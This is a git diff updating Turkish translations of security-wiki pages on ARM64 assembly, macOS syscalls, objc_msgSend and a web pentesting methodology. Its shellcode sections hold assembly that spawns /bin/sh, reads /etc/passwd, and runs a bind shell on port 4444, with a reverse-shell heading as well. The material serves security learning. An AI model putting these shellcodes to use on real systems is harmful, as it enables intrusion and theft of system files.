atlar. +- **`cbz`**: Sıfırla karşılaştır ve dallan. Bir registerı sıfırla karşılaştırır, eğer sıfırsa dallanır. +- Örnek: `cbz x0, label` — `x0` sıfırsa `label`'a atlar. +- **`cbnz`**: Sıfır olmayanla karşılaştır ve dallan. Bir registerı sıfırla karşılaştırır, eğer sıfır değilse dallanır. +- Örnek: `cbnz x0, label` — `x0` sıfır değilse `label`'a atlar. +- **`tbnz`**: Bit testi ve sıfır değilse dallan - Örnek: `tbnz x0, #8, label` -- **`tbz`**: Bit testi ve sıfır durumunda dal. +- **`tbz`**: Bit testi ve sıfırsa dallan - Örnek: `tbz x0, #8, label` -- **Koşullu seçim işlemleri**: Bu işlemler, davranışlarının koşullu bitlere bağlı olarak değiştiği işlemlerdir. -- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Eğer doğruysa, X0 = X1, eğer yanlışsa, X0 = X2. -- `csinc Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = Xn, eğer yanlışsa, Xd = Xm + 1. -- `cinc Xd, Xn, cond` -> Eğer doğruysa, Xd = Xn + 1, eğer yanlışsa, Xd = Xn. -- `csinv Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = Xn, eğer yanlışsa, Xd = NOT(Xm). -- `cinv Xd, Xn, cond` -> Eğer doğruysa, Xd = NOT(Xn), eğer yanlışsa, Xd = Xn. -- `csneg Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = Xn, eğer yanlışsa, Xd = - Xm. -- `cneg Xd, Xn, cond` -> Eğer doğruysa, Xd = - Xn, eğer yanlışsa, Xd = Xn. -- `cset Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = 1, eğer yanlışsa, Xd = 0. -- `csetm Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = \, eğer yanlışsa, Xd = 0. -- **`adrp`**: Bir sembolün **sayfa adresini** hesaplar ve bir kayıtta saklar. -- Örnek: `adrp x0, symbol` — Bu, `symbol`'ün sayfa adresini hesaplar ve `x0`'da saklar. -- **`ldrsw`**: Bellekten **imzalı 32-bit** bir değeri yükler ve **64 bit'e işaret uzatır**. -- Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan imzalı 32-bit bir değeri yükler, 64 bit'e işaret uzatır ve `x0`'da saklar. -- **`stur`**: Bir kayıt değerini bir bellek konumuna saklar, başka bir kayıttan bir offset kullanarak. -- Örnek: `stur x0, [x1, #4]` — Bu, `x0`'daki değeri `x1`'deki adrese 4 byte ekleyerek saklar. -- **`svc`** : Bir **sistem çağrısı** yapar. "Denetçi Çağrısı" anlamına gelir. İşlemci bu talimatı yürüttüğünde, **kullanıcı modundan çekirdek moduna geçer** ve **çekirdeğin sistem çağrı işleme** kodunun bulunduğu bellek konumuna atlar. +- **Koşullu seçim işlemleri**: Davranışı koşul bitlerine göre değişen işlemler. +- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Eğer true ise X0 = X1, değilse X0 = X2 +- `csinc Xd, Xn, Xm, cond` -> Eğer true ise Xd = Xn, değilse Xd = Xm + 1 +- `cinc Xd, Xn, cond` -> Eğer true ise Xd = Xn + 1, değilse Xd = Xn +- `csinv Xd, Xn, Xm, cond` -> Eğer true ise Xd = Xn, değilse Xd = NOT(Xm) +- `cinv Xd, Xn, cond` -> Eğer true ise Xd = NOT(Xn), değilse Xd = Xn +- `csneg Xd, Xn, Xm, cond` -> Eğer true ise Xd = Xn, değilse Xd = - Xm +- `cneg Xd, Xn, cond` -> Eğer true ise Xd = - Xn, değilse Xd = Xn +- `cset Xd, Xn, Xm, cond` -> Eğer true ise Xd = 1, değilse Xd = 0 +- `csetm Xd, Xn, Xm, cond` -> Eğer true ise Xd = \, değilse Xd = 0 +- **`adrp`**: Bir sembolün **sayfa adresini** hesaplar ve bir registera kaydeder. +- Örnek: `adrp x0, symbol` — `symbol`'ün sayfa adresini hesaplar ve `x0`'a koyar. +- **`ldrsw`**: Bellekten işaretli 32-bit bir değeri yükler ve **64-bit'e işaret genişletmesi** ile kaydeder. +- Örnek: `ldrsw x0, [x1]` — `x1`'in işaret ettiği bellekten işaretli 32-bit değeri yükler, 64-bit'e genişletir ve `x0`'a koyar. +- **`stur`**: Bir register değerini başka bir registerdan offset kullanarak bir bellek konumuna yazar. +- Örnek: `stur x0, [x1, #4]` — `x0`'daki değeri `x1`'in işaret ettiği adresin 4 bayt sonrasındaki adrese yazar. +- **`svc`**: System call yapmak için kullanılır. "Supervisor Call" anlamına gelir. Bu talimat çalıştırıldığında işlemci user modundan kernel moduna geçer ve kernel'in system call handling kodunun bulunduğu belirli bir bellek konumuna atlar. - Örnek: ```armasm -mov x8, 93 ; Çıkış için sistem çağrı numarasını (93) x8 kaydına yükle. -mov x0, 0 ; Çıkış durum kodunu (0) x0 kaydına yükle. -svc 0 ; Sistem çağrısını yap. +mov x8, 93 ; Load the system call number for exit (93) into register x8. +mov x0, 0 ; Load the exit status code (0) into register x0. +svc 0 ; Make the system call. ``` -### **Fonksiyon Prologu** +### **Function Prologue** -1. **Bağlantı kaydını ve çerçeve işaretçisini yığına kaydet**: +1. **Link register ve frame pointer'ı yığına kaydet**: ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **Yeni çerçeve işaretçisini ayarlayın**: `mov x29, sp` (mevcut fonksiyon için yeni çerçeve işaretçisini ayarlar) -3. **Yerel değişkenler için yığında alan ayırın** (gerekirse): `sub sp, sp, ` (burada ``, gereken byte sayısını ifade eder) +2. **Yeni çerçeve işaretçisini ayarla**: `mov x29, sp` (geçerli fonksiyon için yeni çerçeve işaretçisini ayarlar) +3. **Yerel değişkenler için stack'te alan ayır (gerekirse)**: `sub sp, sp, ` (burada `` gerekli bayt sayısıdır) ### **Fonksiyon Epilogu** -1. **Yerel değişkenleri serbest bırakın (eğer ayrıldıysa)**: `add sp, sp, ` -2. **Bağlantı kaydını ve çerçeve işaretçisini geri yükleyin**: +1. **Yerel değişkenler için ayrılan alanı geri al (varsa)**: `add sp, sp, ` +2. **link register'ı ve çerçeve işaretçisini geri yükle**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (kontrolü çağırana geri döner, bağlantı kaydındaki adresi kullanarak) +3. **Dönüş**: `ret` (bağlantı kaydındaki adresi kullanarak kontrolü çağırana geri verir) -## AARCH32 İcra Durumu +## AARCH32 Yürütme Durumu -Armv8-A, 32-bit programların çalıştırılmasını destekler. **AArch32**, **`A32`** ve **`T32`** olmak üzere **iki talimat setinde** çalışabilir ve bunlar arasında **`interworking`** ile geçiş yapabilir.\ -**Yetkili** 64-bit programlar, daha düşük yetkili 32-bit'e bir istisna seviyesi transferi gerçekleştirerek **32-bit** programların **çalıştırılmasını** planlayabilir.\ -64-bit'ten 32-bit'e geçişin, istisna seviyesinin düşmesiyle gerçekleştiğini unutmayın (örneğin, EL1'deki bir 64-bit programın EL0'daki bir programı tetiklemesi). Bu, `AArch32` işlem süreci işlenmeye hazır olduğunda **`SPSR_ELx`** özel kaydının **4. bitini** **1** olarak ayarlayarak yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programlarının CPSR'sini saklar. Ardından, yetkili süreç **`ERET`** talimatını çağırır, böylece işlemci **`AArch32`**'ye geçer ve CPSR'ye bağlı olarak A32 veya T32'ye girer.** +Armv8-A, 32-bit programların yürütülmesini destekler. **AArch32** iki farklı **komut setinden** birinde çalışabilir: **`A32`** ve **`T32`** ve bunlar arasında **`interworking`** ile geçiş yapabilir.\ +**Ayrıcalıklı** 64-bit programlar, daha düşük ayrıcalıklı 32-bit programların **yürütülmesini** daha düşük istisna seviyesine aktararak planlayabilir.\ +64-bit'ten 32-bit'e geçişin daha düşük bir istisna seviyesiyle gerçekleştiğini unutmayın (örneğin EL1'deki bir 64-bit programın EL0'de bir programı tetiklemesi). Bu, `AArch32` işlem iş parçacığı yürütülmeye hazır olduğunda **`SPSR_ELx`** özel kaydının **bit 4'ünün 1 olarak** ayarlanmasıyla yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programının CPSR değerini saklar. Ardından ayrıcalıklı süreç **`ERET`** komutunu çağırır; böylece işlemci **`AArch32`**'ye geçer ve CPSR'ye bağlı olarak A32 veya T32'ye girer.** -**`interworking`**, CPSR'nin J ve T bitleri kullanılarak gerçekleşir. `J=0` ve `T=0`, **`A32`** anlamına gelir; `J=0` ve `T=1`, **T32** anlamına gelir. Bu, temelde talimat setinin T32 olduğunu belirtmek için **en düşük bitin 1** olarak ayarlanması anlamına gelir.\ -Bu, **interworking dal talimatları** sırasında ayarlanır, ancak PC hedef kaydedici olarak ayarlandığında diğer talimatlarla da doğrudan ayarlanabilir. Örnek: +**`interworking`** CPSR'nin J ve T bitleri kullanılarak gerçekleşir. `J=0` ve `T=0` **`A32`** anlamına gelir; `J=0` ve `T=1` ise **T32** anlamına gelir. Bu temelde komut setinin T32 olduğunu belirtmek için **en düşük bitin 1 olarak ayarlanması** demektir.\ +Bu, **interworking branch instructions,** sırasında ayarlanır; ancak PC hedef kayıt olarak ayarlandığında diğer talimatlarla doğrudan da ayarlanabilir. Örnek: Başka bir örnek: ```armasm @@ -264,60 +266,60 @@ mov r0, #8 ``` ### Kayıtlar -16 adet 32-bit kayıt (r0-r15) vardır. **r0'dan r14'e** kadar **herhangi bir işlem** için kullanılabilir, ancak bazıları genellikle ayrılmıştır: +16 adet 32-bit kayıt vardır (r0-r15). **r0 ile r14 arasında** herhangi bir işlem için kullanılabilirler, ancak bazıları genellikle ayrılmıştır: -- **`r15`**: Program sayacı (her zaman). Bir sonraki talimatın adresini içerir. A32'de mevcut + 8, T32'de mevcut + 4. -- **`r11`**: Çerçeve İşaretçisi -- **`r12`**: Prosedür içi çağrı kaydı -- **`r13`**: Yığın İşaretçisi -- **`r14`**: Bağlantı Kaydı +- **`r15`**: Program counter (her zaman). Bir sonraki komutun adresini içerir. A32'de current + 8, T32'de current + 4. +- **`r11`**: Frame Pointer +- **`r12`**: Intra-procedural call register +- **`r13`**: Stack Pointer (Not: yığın her zaman 16-byte hizalıdır) +- **`r14`**: Link Register -Ayrıca, kayıtlar **`banked registries`** içinde yedeklenir. Bu, kayıt değerlerini depolayan yerlerdir ve her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırarak **hızlı bağlam değiştirme** işlemlerini gerçekleştirmeyi sağlar.\ -Bu, istisna alındığında işlemci modunun **`CPSR`**'sinden **`SPSR`**'ye işlemci durumunun **kaydedilmesiyle** yapılır. İstisna geri döndüğünde, **`CPSR`** **`SPSR`**'den geri yüklenir. +Ayrıca kayıtlar **`banked registries`** içinde yedeklenir. Buralar, istisna işleme ve ayrıcalıklı işlemlerde **hızlı context switching** yapmayı sağlayan, kayıt değerlerini saklayan alanlardır; böylece her seferinde kayıtları elle kaydedip geri yükleme ihtiyacı ortadan kalkar.\ +Bu, istisna alınan işlemci modunun durumunun **`CPSR`**'den **`SPSR`**'ye kaydedilmesiyle yapılır. İstisna dönüşlerinde, **`CPSR`** **`SPSR`**'den geri yüklenir. -### CPSR - Mevcut Program Durum Kaydı +### CPSR - Current Program Status Register -AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve ayrıca bir istisna alındığında daha sonra yürütmeyi geri yüklemek için **`SPSR_ELx`**'de saklanır: +AArch32'de CPSR, AArch64'teki **`PSTATE`**'e benzer şekilde çalışır ve bir istisna alındığında daha sonra yürütmeyi geri yüklemek için **`SPSR_ELx`** içinde de saklanır:
-Alanlar bazı gruplara ayrılmıştır: +Alanlar birkaç gruba ayrılır: -- Uygulama Program Durum Kaydı (APSR): Aritmetik bayraklar ve EL0'dan erişilebilir -- Yürütme Durumu Kayıtları: Süreç davranışı (OS tarafından yönetilir). +- Application Program Status Register (APSR): Aritmetik bayraklar ve EL0'dan erişilebilir +- Execution State Registers: İşlemci davranışı (OS tarafından yönetilir). -#### Uygulama Program Durum Kaydı (APSR) +#### Application Program Status Register (APSR) - **`N`**, **`Z`**, **`C`**, **`V`** bayrakları (AArch64'teki gibi) -- **`Q`** bayrağı: Özel bir doygun aritmetik talimatın yürütülmesi sırasında **tam sayı doygunluğu meydana geldiğinde** 1 olarak ayarlanır. **`1`** olarak ayarlandığında, manuel olarak 0 olarak ayarlanana kadar bu değeri korur. Ayrıca, değerini dolaylı olarak kontrol eden herhangi bir talimat yoktur, bu manuel olarak okunmalıdır. -- **`GE`** (Büyüktür veya eşittir) Bayrakları: SIMD (Tek Talimat, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler, tek bir talimatla birden fazla veri noktasını işleme imkanı tanır. +- **`Q`** bayrağı: Özel saturating aritmetik talimatlarının yürütülmesi sırasında **integer saturation** oluştuğunda 1 olarak ayarlanır. Bir kez **`1`** olduğunda, elle 0 olarak ayarlanana kadar değeri korunur. Ayrıca, bu bayrağın değerini dolaylı olarak kontrol eden herhangi bir talimat yoktur; değeri manuel olarak okunmalıdır. +- **`GE`** (Greater than or equal) Bayrakları: SIMD (Single Instruction, Multiple Data) işlemlerinde kullanılır; örneğin "parallel add" ve "parallel subtract" gibi. Bu işlemler bir talimatla birden çok veri noktasını işlemeye izin verir. -Örneğin, **`UADD8`** talimatı **dört çift baytı** (iki 32-bit operandından) paralel olarak toplar ve sonuçları 32-bit bir kayıtta saklar. Daha sonra bu sonuçlara dayanarak **`APSR`**'deki `GE` bayraklarını **ayarlar**. Her GE bayrağı, o bayt çiftinin toplamının **taşma** olup olmadığını gösterir. +Örneğin, **`UADD8`** talimatı iki 32-bit operandın dört çift baytını paralel olarak toplar ve sonuçları bir 32-bit kayıtta saklar. Daha sonra bu sonuçlara göre **`APSR`** içindeki `GE` bayraklarını ayarlar. Her bir GE bayrağı, o bayt çifti için yapılan toplamanın **taşma** yapıp yapmadığını gösterir. -**`SEL`** talimatı, koşullu eylemleri gerçekleştirmek için bu GE bayraklarını kullanır. +**`SEL`** talimatı bu GE bayraklarını kullanarak koşullu işlemler yapar. -#### Yürütme Durumu Kayıtları +#### Execution State Registers -- **`J`** ve **`T`** bitleri: **`J`** 0 olmalıdır ve eğer **`T`** 0 ise A32 talimat seti kullanılır, 1 ise T32 kullanılır. -- **IT Blok Durum Kaydı** (`ITSTATE`): Bunlar 10-15 ve 25-26 arasındaki bitlerdir. **`IT`** ile başlayan bir grup içindeki talimatlar için koşulları saklar. +- **`J`** ve **`T`** bitleri: **`J`** 0 olmalıdır; **`T`** 0 ise A32 instruction set kullanılır, 1 ise T32 kullanılır. +- IT Block State Register (`ITSTATE`): 10-15 ve 25-26 bitleridir. **`IT`** önekli bir grup içindeki talimatlar için koşulları saklar. - **`E`** biti: **endianness**'i gösterir. -- **Mod ve İstisna Maske Bitleri** (0-4): Mevcut yürütme durumunu belirler. **5.** bit, programın 32bit (1) veya 64bit (0) olarak çalışıp çalışmadığını gösterir. Diğer 4 bit, **şu anda kullanılan istisna modunu** temsil eder (bir istisna meydana geldiğinde ve işlenirken). Ayarlanan sayı, başka bir istisna tetiklendiğinde mevcut önceliği **gösterir**. +- Mode ve Exception Mask Bitleri (0-4): Geçerli yürütme durumunu belirler. 5. bit, programın 32bit olarak çalışıp çalışmadığını gösterir (1 ise 32bit, 0 ise 64bit). Diğer 4 bit, şu anda kullanılan **istisna modunu** temsil eder (bir istisna meydana geldiğinde ve işlenirken). Ayarlı olan sayı, bu istisna işlenirken başka bir istisna tetiklenirse mevcut önceliği belirtir.
-- **`AIF`**: Belirli istisnalar, **`A`**, `I`, `F` bitleri kullanılarak devre dışı bırakılabilir. Eğer **`A`** 1 ise, **asenkron abortlar** tetiklenecektir. **`I`**, harici donanım **Kesme Taleplerine** (IRQ'lar) yanıt vermek için yapılandırılır. F ise **Hızlı Kesme Talepleri** (FIR'lar) ile ilgilidir. +- **`AIF`**: Belirli istisnalar **`A`**, `I`, `F` bitleri kullanılarak devre dışı bırakılabilir. Eğer **`A`** 1 ise **asynchronous aborts** tetiklenecektir. **`I`** dış donanımdan gelen **Interrupt Requests** (IRQ) ile yanıt vermeyi yapılandırır. `F` ise **Fast Interrupt Requests** (FIQ) ile ilişkilidir. ## macOS ### BSD syscalls -[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) dosyasına göz atın. BSD syscalls **x16 > 0** olacaktır. +[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) dosyasına bakın veya `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h` komutunu çalıştırın. BSD syscalls'lar **x16 > 0** olacaktır. -### Mach Tuşları +### Mach Traps -`mach_trap_table`'ı [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) dosyasında ve prototipleri [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) dosyasında kontrol edin. Mach tuşlarının maksimum sayısı `MACH_TRAP_TABLE_COUNT` = 128'dir. Mach tuşları **x16 < 0** olacaktır, bu nedenle önceki listedeki numaraları **eksi** ile çağırmalısınız: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur. +`syscall_sw.c` içindeki [**mach_trap_table**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) ve [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) içindeki prototiplere bakın. Mach traps'un mex numarası `MACH_TRAP_TABLE_COUNT` = 128'dir. Mach traps'lar **x16 < 0** olacaktır, bu yüzden önceki listedeki numaraları bir **eksi** ile çağırmanız gerekir: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur. -Bu (ve BSD) syscalls'ı çağırmanın nasıl olduğunu bulmak için bir ayrıştırıcıda **`libsystem_kernel.dylib`** dosyasını da kontrol edebilirsiniz: +Bu (ve BSD) syscalls'ların nasıl çağrılacağını bulmak için bir disassembler içinde **`libsystem_kernel.dylib`**'a da bakabilirsiniz: ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -325,32 +327,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib # iOS dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ``` -Not edin ki **Ida** ve **Ghidra**, sadece önbelleği geçerek **belirli dylib'leri** de decompile edebilir. +Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache. > [!TIP] -> Bazen **decompile** edilmiş kodu **`libsystem_kernel.dylib`**'den kontrol etmek, **kaynak kodunu** kontrol etmekten daha kolaydır çünkü birkaç syscalls'un (BSD ve Mach) kodu scriptler aracılığıyla üretilir (kaynak kodundaki yorumlara bakın) oysa dylib'de neyin çağrıldığını bulabilirsiniz. +> Bazen **decompiled** kodu **`libsystem_kernel.dylib`**'den kontrol etmek, **source code**'u kontrol etmekten daha kolay olabilir; çünkü birkaç **syscalls** (BSD ve Mach) script'ler aracılığıyla üretilir (source code içindeki yorumlara bakın), oysa **dylib**'de hangi şeyin çağrıldığını bulabilirsiniz. -### machdep çağrıları +### machdep calls -XNU, makine bağımlı olarak adlandırılan başka bir çağrı türünü destekler. Bu çağrıların sayısı mimariye bağlıdır ve ne çağrılar ne de sayılar sabit kalacağına dair bir garanti yoktur. +XNU, machine dependent olarak adlandırılan başka bir tür çağrıyı destekler. Bu çağrıların numaraları mimariye bağlıdır ve ne çağrıların kendileri ne de numaraların sabit kalacağı garanti edilmez. -### comm sayfası +### comm page -Bu, her kullanıcı sürecinin adres alanına haritalanan bir çekirdek sahibi bellek sayfasıdır. Kullanıcı modundan çekirdek alanına geçişi, bu geçişin çok verimsiz olacağı kadar sık kullanılan çekirdek hizmetleri için syscalls kullanmaktan daha hızlı hale getirmek için tasarlanmıştır. +Bu, kernel'e ait bir bellek sayfasıdır ve her kullanıcının sürecinin adres uzayına maplenir. Kullanıcı modundan kernel alanına geçişi, çok sık kullanılan kernel servisleri için **syscalls** kullanmaktansa daha hızlı yapmak amacıyla tasarlanmıştır; aksi halde bu geçiş çok verimsiz olurdu. -Örneğin, `gettimeofdate` çağrısı `timeval` değerini doğrudan comm sayfasından okur. +Örneğin `gettimeofdate` çağrısı `timeval` değerini doğrudan comm page'den okur. ### objc_msgSend -Bu fonksiyonun Objective-C veya Swift programlarında kullanıldığını bulmak oldukça yaygındır. Bu fonksiyon, bir Objective-C nesnesinin bir yöntemini çağırmayı sağlar. +Objective-C veya Swift programlarında bu fonksiyonun kullanıldığını görmek çok yaygındır. Bu fonksiyon, bir Objective-C nesnesinin metodunu çağırmaya olanak tanır. -Parametreler ([belgelerde daha fazla bilgi](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): +Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): -- x0: self -> Örneğe işaretçi -- x1: op -> Yöntemin seçici -- x2... -> Çağrılan yöntemin geri kalan argümanları +- x0: self -> Pointer to the instance +- x1: op -> Selector of the method +- x2... -> Rest of the arguments of the invoked method -Yani, bu fonksiyona giden dalın önünde bir breakpoint koyarsanız, lldb'de kolayca neyin çağrıldığını bulabilirsiniz (bu örnekte nesne, bir komut çalıştıracak olan `NSConcreteTask`'tan bir nesneyi çağırır): +Bu yüzden, bu fonksiyona dallanmadan önce bir breakpoint koyarsanız, lldb'de neyin çağrıldığını kolayca bulabilirsiniz (bu örnekte nesne `NSConcreteTask` içinden bir nesneyi çağırır ve bu bir komut çalıştıracaktır): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -369,27 +371,27 @@ whoami ) ``` > [!TIP] -> Ortam değişkenini **`NSObjCMessageLoggingEnabled=1`** olarak ayarlayarak, bu fonksiyonun çağrıldığında `/tmp/msgSends-pid` gibi bir dosyaya kaydedilmesini sağlamak mümkündür. +> Ortam değişkeni **`NSObjCMessageLoggingEnabled=1`** olarak ayarlandığında, bu fonksiyon çağrıldığında `/tmp/msgSends-pid` gibi bir dosyaya log tutulmasını sağlayabilirsiniz. > -> Ayrıca, **`OBJC_HELP=1`** ayarlayarak ve herhangi bir ikili dosyayı çağırarak, belirli Objc-C eylemleri gerçekleştiğinde **log** için kullanabileceğiniz diğer ortam değişkenlerini görebilirsiniz. +> Ayrıca, **`OBJC_HELP=1`** ayarlandığında ve herhangi bir binary çağrıldığında, belirli Objc-C eylemleri gerçekleştiğinde **log** tutmak için kullanabileceğiniz diğer ortam değişkenlerini görebilirsiniz. -Bu fonksiyon çağrıldığında, belirtilen örneğin çağrılan yöntemini bulmak gerekir, bunun için farklı aramalar yapılır: +Bu fonksiyon çağrıldığında, belirtilen örneğin çağrılan method'unu bulmak gerekir; bunun için farklı aramalar yapılır: -- İyimser önbellek araması yapın: +- Optimistic cache lookup gerçekleştirilir: - Başarılıysa, tamam -- runtimeLock (okuma) edin -- Eğer (realize && !cls->realized) sınıfı gerçekleştir -- Eğer (initialize && !cls->initialized) sınıfı başlat -- Sınıfın kendi önbelleğini deneyin: +- runtimeLock (read) edinilir +- Eğer (realize && !cls->realized) ise sınıf realize edilir +- Eğer (initialize && !cls->initialized) ise sınıf initialize edilir +- Sınıfın kendi cache'i denenir: - Başarılıysa, tamam -- Sınıf yöntem listesini deneyin: -- Bulunduysa, önbelleği doldur ve tamam -- Üst sınıf önbelleğini deneyin: +- Sınıfın method listesi denenir: +- Bulunursa, cache doldurulur ve tamam +- Üst sınıfın cache'i denenir: - Başarılıysa, tamam -- Üst sınıf yöntem listesini deneyin: -- Bulunduysa, önbelleği doldur ve tamam -- Eğer (resolver) yöntem çözücüyü deneyin ve sınıf aramasından tekrar edin -- Eğer hala buradaysa (= diğer her şey başarısız oldu) yönlendiriciyi deneyin +- Üst sınıfın method listesi denenir: +- Bulunursa, cache doldurulur ve tamam +- Eğer (resolver) ise method resolver denenir ve class lookup'tan tekrarlanır +- Hâlâ buradaysa (= diğer her şey başarısız oldu) forwarder denenir ### Shellcodes @@ -408,7 +410,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; echo -n '\\x'$c done ``` -Yeni macOS için: +Daha yeni macOS için: ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do @@ -467,10 +469,10 @@ return 0; #### Shell -[**buradan**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) alındı ve açıklandı. +Bu [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) kaynağından alınmıştır ve açıklanmıştır. {{#tabs}} -{{#tab name="adr ile"}} +{{#tab name="with adr"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -537,9 +539,9 @@ sh_path: .asciz "/bin/sh" {{#endtab}} {{#endtabs}} -#### cat ile oku +#### cat ile okuma -Amaç `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` komutunu çalıştırmaktır, bu nedenle ikinci argüman (x1) bir parametreler dizisidir (bu bellek içinde adreslerin bir yığını anlamına gelir). +Amaç `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` çalıştırmaktır, bu yüzden ikinci argüman (x1) bir parametreler dizisidir (bellekte bunun anlamı adreslerin bir yığınıdır). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -565,7 +567,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` -#### Bir fork'tan sh ile komut çağırın, böylece ana işlem öldürülmez. +#### Ana süreç sonlandırılmasın diye fork'tan sh ile komutu çalıştırın ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -611,7 +613,7 @@ touch_command: .asciz "touch /tmp/lalala" ``` #### Bind shell -**port 4444**'te [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) adresinden bind shell +Bind shell, [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) adresinden, **port 4444**'te ```armasm .section __TEXT,__text .global _main @@ -693,9 +695,9 @@ mov x2, xzr mov x16, #59 svc #0x1337 ``` -#### Ters kabuk +#### Reverse shell -From [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell to **127.0.0.1:4444** +Kaynak: [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell **127.0.0.1:4444**'e ```armasm .section __TEXT,__text .global _main diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 745ce3165..3ef917636 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -4,9 +4,9 @@ ## Temel Bilgiler -Web servisi en **yaygın ve kapsamlı servis** olup birçok **farklı türde vulnerabilities** bulunmaktadır. +Web servisi en **yaygın ve kapsamlı servis**dir ve birçok **farklı türde zafiyet** mevcuttur. -**Varsayılan port:** 80 (HTTP), 443(HTTPS) +**Varsayılan port:** 80 (HTTP), 443 (HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -17,7 +17,7 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Web API Rehberi +### Web API Kılavuzu {{#ref}} @@ -26,38 +26,38 @@ web-api-pentesting.md ## Metodoloji özeti -> Bu metodolojide yalnızca bir domain (veya subdomain) üzerinde saldırı gerçekleştireceğinizi varsayacağız. Bu yüzden, kapsam içindeki her keşfedilen domain, subdomain veya web sunucusu belirlenmemiş IP için bu metodolojiyi uygulamalısınız. +> Bu metodolojide bir domain (veya subdomain) ve yalnızca ona saldıracağınızı varsayıyoruz. Bu nedenle, bu metodolojiyi kapsam içindeki her keşfedilen domain, subdomain veya belirsiz web sunucusuna sahip IP için uygulamalısınız. -- [ ] Önce web sunucusu tarafından kullanılan **teknolojileri** **tanımlayın**. Tekniği başarıyla tanımlayabilirseniz testin geri kalanında aklınızda tutmanız gereken **püf noktalarını** arayın. -- [ ] Teknolojinin sürümüne ait herhangi bir **bilinen zafiyet** var mı? -- [ ] Herhangi bir **bilinen teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **faydalı püf noktası** var mı? -- [ ] Çalıştırılacak herhangi bir **özelleşmiş tarayıcı** var mı (örn. wpscan)? -- [ ] Genel amaçlı **tarayıcıları** çalıştırın. Ne bulacaklarını ya da ilginç bilgi tespit edip etmeyeceklerini bilemezsiniz. -- [ ] İlk olarak **başlangıç kontrolleri** ile başlayın: **robots**, **sitemap**, **404** hatası ve **SSL/TLS scan** (HTTPS ise). -- 